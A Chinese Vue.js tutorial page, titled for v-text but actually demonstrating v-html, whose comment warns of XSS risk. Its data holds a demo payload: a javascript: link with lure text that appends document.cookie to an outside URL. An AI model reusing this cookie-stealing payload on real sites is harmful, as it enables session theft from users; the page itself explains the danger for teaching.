Vue技术15.2v-text 指令
2023-09-27 14:26:24 时间
<!DOCTYPE html>
<html>
<head>
<mata charset="UTF-8" />
<title>v-text 指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
v-html指令:
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1)v-html会替换掉节点中所有的内容,{{xx}}则不会
(2)v-html可以识别html结构
3.严重注意:v-html有安全性问题!!!
(1)在网站上动态渲染任意HTML是非常危险的,容易导致xss攻击
(2)一定要在可信的内容上使用v-html,用不要在用户提交的内容上!
-->
<!-- 准备好一个容器 -->
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!<h3/>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!<a/>'
}
})
</script>
</html>
相关文章
- 技术分享 | 测试平台开发-前端开发之Vue.js 框架的使用
- 技术分享 | 测试平台开发-前端开发之Vue.js 框架(一)
- vue基础篇---生命周期
- 前端开发面试题—Vue的生命周期
- JavaScript - Vue / React 实现网页标题文字滚动效果,在浏览器标题栏页签选项卡上进行滚动的特效(详细示例源代码)前端所有技术栈通用,适用于任何前端项目!
- Vue 3的高颜值UI组件库
- Vue2.0 搭建Vue脚手架(vue-cli)
- Vue 状态管理
- vue.js-详解三大流行框架VUE_快速进阶前端大咖-Vue基础
- vue 关于数组和对象的更新
- vue页面打印成pdf
- 记录Vue打包或保存频繁内存溢出情况CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory
- [vue]几十行代码写一个图书管理系统小demo来学习表单控件、列表渲染和事件绑定。
- vue实战入门进阶篇五:vue+elementui实现网站后台-首页界面实现
- 推荐一款基于 SpringBoot + Vue 的前后端分离实战项目!技术主流,文档很全!
- Vue打开新页面的方法
- vue脚手架 构建豆瓣App 第一天
- vue组件通信传值的几大方法及组件通信provide/inject的使用
- springboot+vue口腔管理平台(源码+文档)
- vue+echart 点击图表切换 类型 由 line 到bar
- Vue.js 技术揭秘学习 (3) render
- Vue.js 技术揭秘学习 (1) new Vue 发生了什么